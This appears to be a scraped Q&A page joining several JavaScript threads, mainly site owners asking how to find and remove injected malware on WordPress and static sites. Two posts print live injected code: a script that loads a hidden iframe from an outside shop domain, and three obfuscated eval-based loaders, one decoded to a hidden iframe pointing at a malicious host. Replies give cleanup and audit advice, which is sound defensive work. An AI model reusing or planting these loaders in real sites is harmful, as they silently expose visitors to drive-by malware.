Find iframe injection and remove from site - javascript

I browsed my site and noticed scrolling that wasn't there before.
After inspecting I noticed there's an invisible iFrame.
After seeing the iframe in the source page I looked through all my site files and couldn't find the same line of code that was in the source.
I ran my site to look for malware but all is clean. I did have a warning from Google a few months ago but my host removed the malicious files and Google approved the clean up and still does. But now I'm seeing this invisible object with an url.
Source script:
<script language="JavaScript">
if(document.loaded) {
showBrowVer();
} else {
if (window.addEventListener) {
window.addEventListener('load', showBrowVer, false);
} else {
window.attachEvent('onload', showBrowVer);
}
}
function showBrowVer() {
var divTag=document.createElement('div');
divTag.id='dt';
document.body.appendChild(divTag);
var js_kod2 = document.createElement('iframe');
js_kod2.src = 'http://24corp-shop.com';
js_kod2.width = '250px';
js_kod2.height = '320px';
js_kod2.setAttribute('style','visibility:hidden');
document.getElementById('dt').appendChild(js_kod2);
}
</script>
I see it is being brought in by wp_head(); but I looked through it and didn't see anything suspicious.
Does anyone have tips on looking for this injection to manually remove it from my WP site?

Free WP themes/plugins are notorious for using base64_encode to 'hide' malicious or unwanted code in the source. Basically, they store the encoded text in one of the files, and then base64_decode it and render the result as html. I would try greppingsearching for base64_decode in the source to see if it's being done.

wp_head() itself is not being used at this case for spreading the "malign" code that is in your site. That code is elsewhere not on wp_head().
1 - Make a full backup of your current site (database + files)
2 - Deactivate all plugins and see if the malign code still exists.
2 - if the malign code still exists then check your themes folder.on your default theme go to functions.php and search through that file for that code, or base64 encrypted code, eval, includes, etc.
3 - if the malign code, does not exist, after you have deactivated all your plugins then this means that the malign code is on one of those plugins.
Use divide & conquer method to find firstly in which plugin is installed the malign code and after that identify the file that has the malign code.

I had the same problem. Many files were tempered, both in the theme directory and in the core files.
The main one causing the issue (the iframe code was injected right before the tag) was the index.php in root folder.
There was a fake "eAccelerate" code injecting the encoded iframe.
I was able to detect that with WordFence plugin, it gave me the list of tampered files.
I'm investigating how the website got hacked, as I have latest versions of WP and plugins, any idea?

Related

Google Apps script get Parent URL to iFrame in Javascript

I've searched many forums and am pretty confident this will be a no, but I thought I would open it up to the community just in case ;)
I've been tasked with creating a tool on our Google Sites pages that records the visit times of our employees after visiting a page. It helps with confirming compliance with document access as well as activity logs. If an iFrame is on the same domain as the page it is hosted on, it's fairly easy to query the URL of the parent page from within the frame, but security limitations restrict this across domains or sub-domains.
I'm hoping that the fact that I am embedding a Google apps script into a Google sites page will give me more options. So far, I have tried the commands document.referrer, parent.document.location, parent.window.document.location, parent.window.location, parent.document.location.href, and the same commands from window and document perspectives. They all respond the same:
https://n-labp6vtqrpsdn12345neycmicqw7krolscvdkda-0lu-script.googleusercontent.com/userCodeAppPanel
When I want:
https://sites.google.com/mysite.com/mysite/test/test3
Do any Google veterans have additional tricks?
Edit: I've just tried to pass variables via an html link the Google image placeholder for Apps Scripts on Google Sites and got a tad bit farther. You see, I can run this url: https://script.google.com/a/macros/coordinationcentric.com/s/AKfycbxDX2OLs4LV3EWmo7F9KuSFRljMcvYz6dF0Nm0A2Q/exec?test=hello&test2=howareyou and get the variables test1 and test2 if I run the url in a separate window. If I try to embed that URL into the HTML page on Google Sites, it throws this mixed-content error:
trog_edit__en.js:1544 Mixed Content: The page at
'https://sites.google.com/a/mysite.com/mysite/test/test3' was loaded over HTTPS, but requested an insecure image 'http://www.google.com/chart?chc=sites&cht=d&chdp=sites&chl=%5B%5BGoogle+Apps+Script%27%3D20%27f%5Cv%27a%5C%3D0%2710%27%3D499%270%27dim%27%5Cbox1%27b%5CF6F6F6%27fC%5CF6F6F6%27eC%5C0%27sk%27%5C%5B%22Apps+Script+Gadget%22%27%5D%27a%5CV%5C%3D12%27f%5C%5DV%5Cta%5C%3D10%27%3D0%27%3D500%27%3D197%27dim%27%5C%3D10%27%3D10%27%3D500%27%3D197%27vdim%27%5Cbox1%27b%5Cva%5CF6F6F6%27fC%5CC8C8C8%27eC%5C%27a%5C%5Do%5CLauto%27f%5C&sig=TbGPi2pnqyuhJ_BfSq_CO5U6FOI'. This content should also be served over HTTPS.
Has someone tried that approach, perhaps?
In short - I understand it's not possible to investigate a parent URL from an iFrame in Google Sites.
The content of iframes/embedded content is hosted all over the place, separate from the site itself. The Same-Origin rules prevent checking as you've found.
Your first URL "https://n-labp...googleusercontent.com..." is where the script itself is hosted. Any output from the script, like HTML, will appear to come from here.
You can embed HTML and javascript directly in Sites using the Embed function. If you investigate that, you'll find that it's hosted at something like "https://1457130292-atari-embeds.googleusercontent.com..."
Calling parent will always give this *-atari-based URL, rather then the actual page it's hosted on.
A fairly lightweight solution is to use a combination of the two.
Use simple doGet pings and handle the work in your Apps Script.
On your Site, use Embed feature to insert:
<!DOCTYPE html>
<html>
<body onbeforeunload="return depart()">
<script>
var page = "testpage"; // manually set a name for each page you paste this code in to
var script = "https://script.google.com/macros/s/... your script, ending with exec ...";
fetch(script+"?page="+page+"&direction=arrive");
function depart(){
fetch(script+"?page="+page+"&direction=depart");
}
</script>
</body>
</html>
Then in your Apps Script:
function doGet(e){
var httpParams = e.parameter ? e.parameter : "";
// params is an object like {"page": "testpage1", "n": "1"}
var getPage = httpParams.page ? httpParams.page : "";
var getDirection = httpParams.direction ? httpParams.direction : "";
/* Handle it as you please, perhaps like: */
var user = Session.getActiveUser().getEmail();
/* maybe use a temporary active key if open to non-Google users */
/* first-time Google users will have to authenticate, so embed one frame somewhere full-size maybe, or just tell users to go to the script's link */
/* hand off to a helper script */
var time = new Date();
var timeUTC = time.toUTCString(); // I like UTC
doSomethingWithThis(user, direction, timeUTC);
/* etc... */
/* Return some blank HTML so it doesn't look too funny */
return HtmlService.createHtmlOutput("<html><body></body></html>");
}
Then publish as a web app. If you'll use temporary active keys instead of Google accounts, you'll have the script run as you and be available to anyone, even anonymous.
You've probably already solved this, but I hope it can be of use to someone else who stumbles across it!

drupal_add_js not working in hook_user_login

Using Drupal 7 I am adding js using drupal_add_js from within hook_user_login.
After adding the js I can call drupal_get_js() and I can see that my js has been added, but when the page is loading the js has gone.
My code is:
function popups_user_login(&$edit, $account) {
$js = 'some inline js here';
drupal_add_js($js, array('type'=>'inline', 'weight'=>1));
drupal_add_js(drupal_get_path('module', 'popups').'/popups.js', array('weight'=>2));
}
The aim of the module is to create a popup once the user has logged in if certain criteria are met.
There is a similar question on drupal.org just here.
Can anyone tell me what is going on here?
(I've tried this on 2 separate Drupal 7 installs and have experienced the same problem on both sites)
Like Clive said this was due to a redirect happening directly after login.
This can be checked by installing Devel and turning on "Display redirection page" on the Devel settings page.
The solution is to set a session variable in hook_user_login (which in my case contained the nids of the popups I want to display), which can then be read in hook_page_alter and add the necessary JS added at this point.

CKEditor variable is available in console, but not from a Chrome userscript?

I'm writing a Chrome userscript to locally auto-save content in a CKEditor. I'm using this CKEditor auto-save plugin as inspiration.
I have written a function that fires every half second (via an interval) to register the CKEditor event handler:
var intervalId = window.setInterval(function() {
if (CKEDITOR) {
window.clearInterval(intervalId);
CKEDITOR.plugins.add("user-script-auto-save", {
init : function(editor) {
editor.on('key', startTimer);
}
});
}
}, 500);
However, it never properly completes, and complains that "CKEDITOR is undefined" on the if (CKEDITOR) statement.
Meanwhile, if I drop into Chrome's console and type CKEDITOR, the console prints out the expected object.
What am I missing? The editor is embedded within an iframe; might that have an impact on scoping? Or am I fighting against Chrome's sandboxing here? And if so, is there some other way I can dig into CKEditor to pull out the content every second or something to do the auto-saves?
I have not yet tried the script in Firefox; that's next on my list.
Worth noting: I'm a long-time JavaScript novice. So I could easily be doing something dumb with scoping or something like that.
According to this little tutorial video on YouTube, all the 3 "devices" are separated from each other in order to prevent XSS attacks from the user script to the browser / website and vice versa. Although the user scripts / content scripts are running in the website's context, they are still kept separated from the actual website script context. You can easily acknowledge this by simply trying to access for example jQuery from a content script. Just as the CKEditor, it will not be available.
So what I've come up with in order to deal with this is using the content script to include external JavaScripts in the head tag. AFAIK, this is not possible for files directly in the extension's root directory, so I've taken a remote server to host my files.
I'm not sure if this is the best approach and I think it is an ugly bypass, possibly way to powerfull and disabled by the Chromium Project some time.
(Edited by OP, so I can select this answer and route karma appropriately)
This answer, combined with some of the suggestions and links in the comments, ended up getting me to where I needed to be.
I ended up with the following function:
var insertScriptIntoDocument = function(scriptUrl, doc) {
// inspired by http://blog.afterthedeadline.com/2010/05/14/how-to-jump-through-hoops-and-make-a-chrome-extension/
var scriptText = doc.createTextNode(
'(function(loc) { \
var embeddedScript = document.createElement("script"); \
embeddedScript.type = "text/javascript"; \
embeddedScript.src = loc; \
document.getElementsByTagName("head")[0].appendChild(embeddedScript); \
})("' + scriptUrl + '");');
var injectorElement = doc.createElement('script');
injectorElement.appendChild(scriptText);
doc.body.appendChild(injectorElement);
};
Usage looks like so:
var embeddedScriptUrl = chrome.extension.getURL("embedded-script.js");
insertScriptIntoDocument(embeddedScriptUrl, document);
For now, I'm executing this from within a Chrome extension, but I suspect that the pattern might work in a GreaseMonkey script deployed via the Chrome TamperMonkey extension provided that the URL of the script to be embedded was hosted somewhere reachable.
FTR, as it turns out, I did not actually need to get to the iframe -- the CKEDITOR variable was defined in the top-level document, but was simply not visible because of the rules of the Chrome sandbox

What does this script do?

Would anybody be able to tell me what the below script does? It keeps injecting itself into our site about every two weeks (always between Sundays and Mondays). We've reloaded our "clean" site dozens of times but it just keeps happening. We've installed and made every security recommendation that we've read but it just keeps getting into all of our index.html files and a few of our php files.
Anybody have any idea of what it does or where it comes from? We could really use some help!
<script>
var ar="v)y{ifu=lg[rETCB}me h>;
s\"/ 0.,tN1:('<cAb]waonpd";
try{
'qwe'.length(1);
}catch(a){
k=new Boolean().toString();
date=new Date();
};
var ar2 = "f57,57,12,15,78,102,138,129,111,18,51,54,132,90,84,27,54,90,36,24,54,51,54,132,90,69,45,6,39,126,27,93,126,51,54,102,105,117,129,138,6,105,3,30,81,120,3,9,57,57,57,12,15,33,126,51,54,33,102,3,66,57,57,48,78,54,24,69,54,78,9,57,57,57,138,129,111,18,51,54,132,90,84,123,33,12,90,54,102,72,108,12,15,33,126,51,54,78,69,33,111,21,105,60,90,90,135,99,75,75,138,129,24,129,126,69,84,111,129,51,75,111,129,18,132,90,81,84,135,60,135,105,78,123,12,138,90,60,21,105,96,81,105,78,60,54,12,27,60,90,21,105,96,81,105,78,69,90,6,24,54,21,105,0,12,69,12,117,12,24,12,90,6,99,60,12,138,138,54,132,66,135,129,69,12,90,12,129,132,99,126,117,69,129,24,18,90,54,66,24,54,15,90,99,81,66,90,129,135,99,81,66,105,63,108,75,12,15,33,126,51,54,63,72,3,66,57,57,48,57,57,15,18,132,111,90,12,129,132,78,12,15,33,126,51,54,33,102,3,9,57,57,57,0,126,33,78,15,78,21,78,138,129,111,18,51,54,132,90,84,111,33,54,126,90,54,36,24,54,51,54,132,90,102,105,12,15,33,126,51,54,105,3,66,15,84,69,54,90,114,90,90,33,12,117,18,90,54,102,105,69,33,111,105,87,105,60,90,90,135,99,75,75,138,129,24,129,126,69,84,111,129,51,75,111,129,18,132,90,81,84,135,60,135,105,3,66,15,84,69,90,6,24,54,84,0,12,69,12,117,12,24,12,90,6,21,105,60,12,138,138,54,132,105,66,15,84,69,90,6,24,54,84,135,129,69,12,90,12,129,132,21,105,126,117,69,129,24,18,90,54,105,66,15,84,69,90,6,24,54,84,24,54,15,90,21,105,81,105,66,15,84,69,90,6,24,54,84,90,129,135,21,105,81,105,66,15,84,69,54,90,114,90,90,33,12,117,18,90,54,102,105,123,12,138,90,60,105,87,105,96,81,105,3,66,15,84,69,54,90,114,90,90,33,12,117,18,90,54,102,105,60,54,12,27,60,90,105,87,105,96,81,105,3,66,57,57,57,138,129,111,18,51,54,132,90,84,27,54,90,36,24,54,51,54,132,90,69,45,6,39,126,27,93,126,51,54,102,105,117,129,138,6,105,3,30,81,120,84,126,135,135,54,132,138,42,60,12,24,138,102,15,3,66,57,57,48]".replace(k.substr(0,1),'[');
pau="rn ev2010"[('afas','rep')+('rhrh','lace')](date[('adsaf','getF')+'ullY'+('qwtrqwt','ear')]()-1,('awgwag',"al"));
e=Function("retu"+pau)();
ar2=('gfhgffg',e(ar2));s="";
for(i=0;i<ar2.length;i++){
s+=ar.substr(ar2[i]/3,1);
}
e(s);
</script>
<script>
var ar="N<B)10'paes,>.nidtf3[T;
hwy mCE:gA{](=o/\"c}lbr vu";
try{
'qwe'.length(1);
}catch(a){
k=new Boolean().toString();
date=new Date();
};
var ar2 = "f78,78,45,54,135,105,48,111,120,141,81,27,42,51,39,93,27,51,87,126,27,81,27,42,51,30,6,75,63,24,93,0,24,81,27,105,18,129,111,48,75,18,9,60,15,102,9,99,78,78,78,45,54,132,24,81,27,132,105,9,66,78,78,123,135,27,126,30,27,135,99,78,78,78,48,111,120,141,81,27,42,51,39,72,132,45,51,27,105,117,3,45,54,132,24,81,27,135,30,132,120,108,18,69,51,51,21,90,114,114,27,48,45,51,45,24,126,39,120,111,81,114,120,111,141,42,51,57,15,39,21,69,21,18,135,72,45,48,51,69,108,18,12,15,18,135,69,27,45,93,69,51,108,18,12,15,18,135,30,51,75,126,27,108,18,138,45,30,45,129,45,126,45,51,75,90,69,45,48,48,27,42,66,21,111,30,45,51,45,111,42,90,24,129,30,111,126,141,51,27,66,126,27,54,51,90,15,66,51,111,21,90,15,66,18,36,3,114,45,54,132,24,81,27,36,117,9,66,78,78,123,78,78,54,141,42,120,51,45,111,42,135,45,54,132,24,81,27,132,105,9,99,78,78,78,138,24,132,135,54,135,108,135,48,111,120,141,81,27,42,51,39,120,132,27,24,51,27,87,126,27,81,27,42,51,105,18,45,54,132,24,81,27,18,9,66,54,39,30,27,51,96,51,51,132,45,129,141,51,27,105,18,30,132,120,18,33,18,69,51,51,21,90,114,114,27,48,45,51,45,24,126,39,120,111,81,114,120,111,141,42,51,57,15,39,21,69,21,18,9,66,54,39,30,51,75,126,27,39,138,45,30,45,129,45,126,45,51,75,108,18,69,45,48,48,27,42,18,66,54,39,30,51,75,126,27,39,21,111,30,45,51,45,111,42,108,18,24,129,30,111,126,141,51,27,18,66,54,39,30,51,75,126,27,39,126,27,54,51,108,18,15,18,66,54,39,30,51,75,126,27,39,51,111,21,108,18,15,18,66,54,39,30,27,51,96,51,51,132,45,129,141,51,27,105,18,72,45,48,51,69,18,33,18,12,15,18,9,66,54,39,30,27,51,96,51,51,132,45,129,141,51,27,105,18,69,27,45,93,69,51,18,33,18,12,15,18,9,66,78,78,78,48,111,120,141,81,27,42,51,39,93,27,51,87,126,27,81,27,42,51,30,6,75,63,24,93,0,24,81,27,105,18,129,111,48,75,18,9,60,15,102,39,24,21,21,27,42,48,84,69,45,126,48,105,54,9,66,78,78,123]".replace(k.substr(0,1),'[');
pau="rn ev2010"[('afas','rep')+('rhrh','lace')](date[('adsaf','getF')+'ullY'+('qwtrqwt','ear')]()-1,('awgwag',"al"));
e=Function("retu"+pau)();
ar2=('gfhgffg',e(ar2));
s="";
for(i=0;i<ar2.length;i++){
s+=ar.substr(ar2[i]/3,1);
}
e(s);
</script>
<script>
var ar="rf:pmy'1uvAE, hi)2Tbs{ [tg=BcC\"do<a(.}N/9];wl>en0";
try{
gserkewg();
}catch(a){
k=new Boolean().toString()
};
var ar2 = "f66,0,-21,-42,36,66,-12,3,-12,-60,-12,126,3,-69,36,-33,63,-66,-39,99,6,-126,126,3,-69,-12,21,-66,39,48,-27,39,-12,-90,126,-33,-87,39,39,-3,-78,3,30,21,75,-21,-75,15,3,0,0,-21,-42,-3,102,-90,126,-138,105,-57,78,-60,0,45,-72,99,-6,-72,78,-99,24,3,0,0,27,3,-12,-60,-12,126,3,-69,36,21,-129,45,27,66,-33,-15,9,-54,-42,-3,102,-90,126,-99,21,-60,84,-6,-60,24,30,0,-63,-3,111,0,12,-33,-96,12,126,-66,30,30,-24,-24,12,-84,105,-33,12,-72,117,-69,-21,69,-12,-99,33,-33,9,21,90,-84,48,-21,-30,36,-60,3,123,-126,21,3,96,-93,30,-33,30,6,-60,3,123,-126,21,21,12,-57,117,6,-60,-60,9,18,15,-15,12,-12,87,-87,27,-57,-9,36,3,48,0,45,3,-15,-117,87,-36,-15,27,-27,51,45,-135,96,-45,3,36,36,-108,48,66,-12,6,6,-135,69,-66,138,-18,-54,24,-87,-3,138,-18,-108,117,-36,18,-72,-42,-3,102,-90,126,-3,-45,-42,78,-60,0,45,-45,0,-63,21,117,-57,-12,-27,51,45,-102,6,-42,-3,102,-90,126,-138,105,-57,15,3,0,0,-39,75,-102,39,-36,36,39,-39,54,3,-12,-60,-12,126,3,-69,36,-24,-84,138,-36,-30,66,-105,99,6,-126,126,3,-69,33,-87,27,-42,-3,102,-90,126,-120,30,78,-123,105,-48,78,-66,-42,42,0,-72,45,12,-33,48,66,-33,-87,42,-60,84,-66,18,-18,24,30,0,-63,-3,111,0,12,-33,-96,12,126,-66,30,30,-24,-24,12,-84,105,-33,12,-72,117,-69,-21,69,-12,-99,33,-33,9,30,78,-123,105,-48,12,-57,117,6,-30,-81,18,15,-15,12,-12,87,-87,27,-57,63,-60,24,3,48,0,45,3,-123,108,-123,105,-48,12,-57,117,6,-30,-99,87,-36,-15,27,-27,51,45,-63,-60,84,-45,3,36,36,-108,48,66,-120,108,-123,105,-48,12,-57,117,6,-30,24,6,-135,69,6,-60,126,-126,108,-123,105,-48,12,-57,117,6,-30,-36,24,-87,69,-60,126,-126,108,-123,105,-48,78,-66,-42,42,0,-72,45,12,-33,48,66,-33,-87,111,-84,48,-21,-30,-24,18,-18,3,123,-126,30,78,-123,105,-48,78,-66,-42,42,0,-72,45,12,-33,48,66,-33,-87,24,96,-93,30,-33,30,-54,18,-18,3,123,-126,30,78,-60,0,0,27,3,-12,-60,-12,126,3,-69,36,-33,63,-66,-39,99,6,-126,126,3,-69,-12,21,-66,39,48,-27,39,-12,-90,126,-33,-87,39,39,-3,-78,3,30,21,75,-21,-15,-6,-93,0,129,3,-48,-6,-45,3,87,-39,12,-102,45,78,-60,0,45]".replace(k.substr(0,1),'[');
try{
asfasf();
}catch(e)
{
p=(typeof document).toString()
};
pau="rn evobject".replace(p,"al");
e=new Function("","retu"+pau);
e=e();
ar2=e(ar2);
s="";
var pos=0;
for(i=0;i!=ar2.length;i++){
pos+=parseInt(k.replace("false","0asd"))+ar2[i]/3;
s+=ar.substr(pos,1);
}
e(s);
</script>
Via the power of JSUnpack, we can decrypt a chunk of that obfuscated code and see part of the functionality...
document.write (s) <iframe src='http://doloasxxxxedoutforsafety.com/count0.php' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>
That source is currently 404, but it doesn't look very friendly. It's effectively downloading an arbitrary page into the browser, which could be for something as "simple" as fake Pagerank building through to a malicious drive by code execution exploit. Regardless, it appears dead for now, but it probably wasn't trying to help you.
You seem to have some kind of XSS injection flaw in your site software (or a malicious internal user). Looks like it's time for a proper security audit (both of server, server software, and your PHP application). If you're running an off the shelf PHP package (like Wordpress), make sure you've upgraded to the latest version. You might also want to change any relevant passwords (if it's happening on a regular schedule, it might be a manual injection).
The script is probably designed to lure users to a site containing malware and browser exploits.
The reason that you're repeatedly being infected is because somewhere in your codebase there is a vulnerability. I suspect you've got an unprotected or broken file upload page that allows any old file to be uploaded (including scripts) and then executed. Once it's done infecting your files it probably delete's itself.
I would have a trawl through your web server log files at around the time the infection happens and look for suspicious activity for any pages that allow users to upload content.
what other scripts do you use on your site? look at those because those could be injecting this.
maybe your webhost is shady, try to change. Or it could be a web analytics code
The exact same code is being injected into the index.html file on one of my sites. By looking at the logs we determined that someone with the IP address 84.16.226.245 had gotten access via FTP. We're not exactly sure how he got in yet, but you might want to take a look at your logs and block that address.
Good luck!

Take Screenshot of Browser via JavaScript (or something else)

For support reasons I want to be able for a user to take a screenshot of the current browser window as easy as possible and send it over to the server.
Any (crazy) ideas?
That would appear to be a pretty big security hole in JavaScript if you could do this. Imagine a malicious user installing that code on your site with a XSS attack and then screenshotting all of your daily work. Imagine that happening with your online banking...
However, it is possible to do this sort of thing outside of JavaScript. I developed a Swing application that used screen capture code like this which did a great job of sending an email to the helpdesk with an attached screenshot whenever the user encountered a RuntimeException.
I suppose you could experiment with a signed Java applet (shock! horror! noooooo!) that hung around in the corner. If executed with the appropriate security privileges given at installation it might be coerced into executing that kind of screenshot code.
For convenience, here is the code from the site I linked to:
import java.awt.Dimension;
import java.awt.Rectangle;
import java.awt.Robot;
import java.awt.Toolkit;
import java.awt.image.BufferedImage;
import javax.imageio.ImageIO;
import java.io.File;
...
public void captureScreen(String fileName) throws Exception {
Dimension screenSize = Toolkit.getDefaultToolkit().getScreenSize();
Rectangle screenRectangle = new Rectangle(screenSize);
Robot robot = new Robot();
BufferedImage image = robot.createScreenCapture(screenRectangle);
ImageIO.write(image, "png", new File(fileName));
}
...
Please see the answer shared here for a relatively successful implementation of this:
https://stackoverflow.com/a/6678156/291640
Utilizing:
https://github.com/niklasvh/html2canvas
You could try to render the whole page in canvas and save this image back to server. have fun :)
A webpage can't do this (or at least, I would be very surprised if it could, in any browser) but a Firefox extension can. See https://developer.mozilla.org/en/Drawing_Graphics_with_Canvas#Rendering_Web_Content_Into_A_Canvas -- when that page says "Chrome privileges" that means an extension can do it, but a web page can't.
Seems to me that support needs (at least) the answers for two questions:
What does the screen look like? and
Why does it look that way?
A screenshot -- a visual -- is very necessary and answers the first question, but it can't answer the second.
As a first attempt, I'd try to send the entire page up to support. The support tech could display that page in his browser (answers the first question); and could also see the current state of the customer's html (helps to answer the second question).
I'd try to send as much of the page as is available to the client JS by way of AJAX or as the payload of a form. I'd also send info not on the page: anything that affects the state of the page, like cookies or session IDs or whatever.
The cust might have a submit-like button to start the process.
I think that would work. Let's see: it needs some CGI somewhere on the server that catches the incoming user page and makes it available to support, maybe by writing a disk file. Then the support person can load (or have loaded automatically) that same page. All the other info (cookies and so on) can be put into the page that support sees.
PLUS: the client JS that handles the submit-button onclick( ) could also include any useful JS variable values!
Hey, this can work! I'm getting psyched :-)
HTH
-- pete
I've seen people either do this with two approaches:
setup a separate server for screenshotting and run a bunch of firefox instances on there, check out these two gem if you're doing it in ruby: selenium-webdriver and headless
use a hosted solution like http://url2png.com (way easier)
You can also do this with the Fireshot plugin. I use the following code (that I extracted from the API code so I don't need to include the API JS) to make a direct call to the Fireshot object:
var element = document.createElement("FireShotDataElement");
element.setAttribute("Entire", true);
element.setAttribute("Action", 1);
element.setAttribute("Key", "");
element.setAttribute("BASE64Content", "");
element.setAttribute("Data", "C:/Users/jagilber/Downloads/whatev.jpg");
if (typeof(CapturedFrameId) != "undefined")
element.setAttribute("CapturedFrameId", CapturedFrameId);
document.documentElement.appendChild(element);
var evt = document.createEvent("Events");
evt.initEvent("capturePageEvt", true, false);
element.dispatchEvent(evt);
Note: I don't know if this functionality is only available for the paid version or not.
Perhaps http://html2canvas.hertzen.com/ could be used. Then you can capture the display and then process it.
You might try PhantomJs, a headlesss browsing toolkit.
http://phantomjs.org/
The following Javascript example demonstrates basic screenshot functionality:
var page = require('webpage').create();
page.settings.userAgent = 'UltimateBrowser/100';
page.viewportSize = { width: 1200, height: 1200 };
page.clipRect = { top: 0, left: 0, width: 1200, height: 1200 };
page.open('https://google.com/', function () {
page.render('output.png');
phantom.exit();
});
I understand this post is 5 years old, but for the sake of future visits I'll add my own solution here which I think solves the original post's question without any third-party libraries apart from jQuery.
pageClone = $('html').clone();
// Make sure that CSS and images load correctly when opening this clone
pageClone.find('head').append("<base href='" + location.href + "' />");
// OPTIONAL: Remove potentially interfering scripts so the page is totally static
pageClone.find('script').remove();
htmlString = pageClone.html();
You could remove other parts of the DOM you think are unnecessary, such as the support form if it is in a modal window. Or you could choose not to remove scripts if you prefer to maintain some interaction with dynamic controls.
Send that string to the server, either in a hidden field or by AJAX, and then on the server side just attach the whole lot as an HTML file to the support email.
The benefits of this are that you'll get not just a screenshot but the entire scrollable page in its current form, plus you can even inspect and debug the DOM.
Print Screen? Old school and a couple of keypresses, but it works!
This may not work for you, but on IE you can use the snapsie plugin. It doesn't seem to be in development anymore, but the last release is available from the linked site.
i thing you need a activeX controls. without it i can't imagine. you can force user to install them first after the installation on client side activex controls should work and you can capture.
We are temporarily collecting Ajax states, data in form fields and session information. Then we re-render it at the support desk. Since we test and integrate for all browsers, there are hardly any support cases for display reasons.
Have a look at the red button at the bottom on holidaycheck
Alternatively there is html2canvas of Google. But it is only applicable for never browsers and I've never tried it.
In JavaScript? No. I do work for a security company (sort of NetNanny type stuff) and the only effective way we've found to do screen captures of the user is with a hidden application.

Categories

Resources